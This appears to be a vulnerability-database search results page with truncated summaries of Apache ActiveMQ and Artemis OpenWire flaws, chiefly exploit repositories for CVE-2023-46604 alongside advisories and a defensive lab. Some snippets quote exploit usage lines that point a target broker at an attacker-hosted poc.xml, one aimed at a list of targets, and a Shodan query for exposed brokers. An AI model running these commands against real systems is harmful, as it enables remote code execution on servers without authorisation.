Lucene search
+L

71 matches found

Kitploit
Kitploit
added 2026/09/15 8:38 p.m.8 views

CVE-2023-46604

Resumen Técnico del Ataque: CVE-2023-46604 El script explota una vulnerabilidad de deserialización insegura en Apache ActiveMQ CVE-2023-46604 para lograr la ejecución remota de código en el servidor objetivo. Descripción del Proceso de Explotación root@kitploit: Objetivo de la Vulnerabilidad: La...

10CVSS7.5AI score0.99723EPSS
SaveExploits33
Kitploit
Kitploit
added 2026/09/15 9:44 a.m.7 views

CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 RCE Pseudoshell This script leverages CVE-2023046604 Apache ActiveMQ to generate a pseudo shell. The vulnerability allows for remote code execution due to unsafe deserialization within the OpenWire protocol. Description CVE-2023-46604 is a deserialization vulnerability that exists ...

10CVSS7.6AI score0.99723EPSS
SaveExploits33
Kitploit
Kitploit
added 2026/09/15 7:01 a.m.7 views

CVE-2023-46604

CVE-2023-46604 This repository contains an exploit script and a Proof of Concept PoC XML file for the CVE-2023-46604 vulnerability affecting Apache ActiveMQ. The vulnerability allows for remote code execution due to unsafe deserialization practices within the OpenWire protocol. Description...

10CVSS7.5AI score0.99723EPSS
SaveExploits33
Kitploit
Kitploit
added 2026/09/15 2:01 a.m.9 views

ActiveMQ-CVE-2023-46604

CVE-2023-46604 ActiveMQ Safe Validator A single-file, non-destructive validator for Apache ActiveMQ CVE-2023-46604. It starts its own HTTP callback server, generates target-specific Spring XML in memory, sends the crafted OpenWire packet, correlates callbacks with unique tokens, and writes CSV/JS...

10CVSS7.5AI score0.99723EPSS
SaveExploits33
Kitploit
Kitploit
added 2026/09/15 1:00 a.m.13 views

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

프로젝트 참조 이 프로젝트는 https://github.com/X1r0z/ActiveMQ-RCE 프로젝트의 exp를 참조하여 다시 작성한 python 버전의 exp입니다. 사용법 root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 -p 매개변수는 기본적으로 activeMQ의 기본 포트입니다. -x 매개변수는 프로토콜 접두사를 추가해야 합니다. 소개 여기에 openwire 프로토콜의 그림을 첨부하면 이해...

10CVSS7.6AI score0.99723EPSS
SaveExploits33References1
Kitploit
Kitploit
added 2026/09/12 3:19 p.m.6 views

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 Overview of Apache ActiveMQ and OpenWire ActiveMQ is an open-source messaging and integration pattern server that supports communication between systems using various languages, not just Java, as well as a broker including clients that support JMS...

10CVSS7.6AI score0.99723EPSS
SaveExploits33
Kitploit
Kitploit
added 2026/09/12 8:53 a.m.10 views

CVE-2023-46604

CVE-2023-46604 Exploit for CVE-2023-46604 This tool helps to exploit this vulnerability. Shodan Query to find target: root@kitploit: product:"ActiveMQ" port:"61616" Tools Usage: root@kitploit: for read targets from the file: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- single targe...

10CVSS7.6AI score0.99723EPSS
SaveExploits33
Kitploit
Kitploit
added 2026/09/11 7:54 a.m.7 views

OpenWire-CVE-2023-46604-Investigation

OpenWire-CVE-2023-46604-Investigation OpenWire Lab During my shift as a Tier 2 Security Operations Center SOC Analyst, I received an escalation from a Tier 1 analyst regarding a publicly accessible server that had been observed communicating with multiple suspicious external IP addresses. In...

10CVSS7.6AI score0.99723EPSS
SaveExploits33
RedHat Linux
RedHat Linux
added 2026/09/10 11:22 p.m.11 views

artemis-openwire-protocol: AMQ Broker Artemis: pre-authentication arbitrary durable queue deletion via OpenWire RemoveSubscriptionInfo

An unauthenticated network attacker can delete arbitrary durable queues on any Apache Artemis broker with OpenWire protocol enabled default. The processRemoveSubscription method executes pre-authentication with no authorization check, and uses the internal destroyQueueSimpleString overload that...

9.1CVSS0.0046EPSS
SaveExploits0References4
RedHat Linux
RedHat Linux
added 2026/09/10 4:34 p.m.9 views

artemis-openwire-protocol: AMQ Broker Artemis: pre-authentication arbitrary durable queue deletion via OpenWire RemoveSubscriptionInfo

An unauthenticated network attacker can delete arbitrary durable queues on any Apache Artemis broker with OpenWire protocol enabled default. The processRemoveSubscription method executes pre-authentication with no authorization check, and uses the internal destroyQueueSimpleString overload that...

9.1CVSS0.0046EPSS
SaveExploits0References4
NVD
NVD
added 2026/09/10 5:17 a.m.8 views

CVE-2026-67593

A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ...

9.1CVSS0.0046EPSS
SaveExploits0References2
Vulnrichment
Vulnrichment
added 2026/09/10 4:40 a.m.7 views

CVE-2026-67593 Apache Artemis, Apache Artemis, Apache ActiveMQ Artemis, Apache ActiveMQ Artemis: Pre-authentication Openwire protocol handling can result in queue deletion

A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ...

0.0046EPSS
SaveExploits0References1
CVE
CVE
added 2026/09/10 4:40 a.m.22 views

CVE-2026-67593

CVE-2026-67593 allows an unauthenticated remote attacker to delete arbitrary durable queues on Apache Artemis (2.50.0–2.56.0) and Apache ActiveMQ Artemis (1.0.0–2.44.0) by crafting a malicious OpenWire RemoveSubscriptionInfo command. The root cause is the processRemoveSubscription() method, which...

9.1CVSS0.0046EPSS
SaveExploits0References2
EUVD
EUVD
added 2026/09/10 4:40 a.m.9 views

EUVD-2026-75245

A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ...

9.1CVSS0.0046EPSS
SaveExploits0References1
Cvelist
Cvelist
added 2026/09/10 4:40 a.m.39 views

CVE-2026-67593 Apache Artemis, Apache Artemis, Apache ActiveMQ Artemis, Apache ActiveMQ Artemis: Pre-authentication Openwire protocol handling can result in queue deletion

A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ...

0.0046EPSS
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/09 5:14 p.m.10 views

CVE-2023-46604-LAB

CVE-2023-46604 – Apache ActiveMQ RCE OpenWire Protocol This repository documents a lab environment used to understand and detect the CVE-2023-46604 vulnerability affecting Apache ActiveMQ. The goal of this project: Understand how the exploit behaves at the protocol level Capture malicious OpenWir...

10CVSS7.6AI score0.99723EPSS
SaveExploits33
Kitploit
Kitploit
added 2026/09/08 11:51 p.m.7 views

ExploitScript-CVE-2023-46604

ExploitScript-CVE-2023-46604 Disclaimer This repository contains proof-of-concept code for CVE-2023-466064 and is intended strictly for educational purposes. The authors and contributors do not endorse any illegal activity. The information presented here is for academic, security research, and...

10CVSS7.6AI score0.99723EPSS
SaveExploits33
CVE
CVE
added 2026/06/30 9:53 a.m.58 views

CVE-2026-50734

Memory Allocation with Excessive Size Value vulnerability in Apache ActiveMQ Client, Apache ActiveMQ, and Apache ActiveMQ All allows an unauthenticated network attacker to cause a broker DoS by sending a crafted WireFormatInfo frame with a malicious large size value. The broker may allocate memor...

7.5CVSS5.7AI score0.0074EPSS
SaveExploits0References2Affected Software1
Cvelist
Cvelist
added 2026/06/30 9:51 a.m.58 views

CVE-2026-50750 Apache ActiveMQ Broker, Apache ActiveMQ, Apache ActiveMQ All: Pre-authentication OpenWire DoS following fix for CVE-2026-49270

Denial of Service via Out of Memory vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ, Apache ActiveMQ All. Following the fix for CVE-2026-49270 an unauthenticated attacker can now cause broker OOM by sending an repeated BrokerInfo commands without sending a ConnectionInfo, until the broke...

0.00686EPSS
SaveExploits0References1
CVE
CVE
added 2026/06/30 9:49 a.m.74 views

CVE-2026-53917

CVE-2026-53917 describes an unbounded memory allocation vulnerability in OpenWire property unmarshalling in Apache ActiveMQ and related builds. An authenticated user can send a crafted OpenWire Message with a very large encoded size value for a message property map, causing OpenWire maps to be un...

7.5CVSS5.7AI score0.0074EPSS
SaveExploits0References2Affected Software2
Rows per page
Query Builder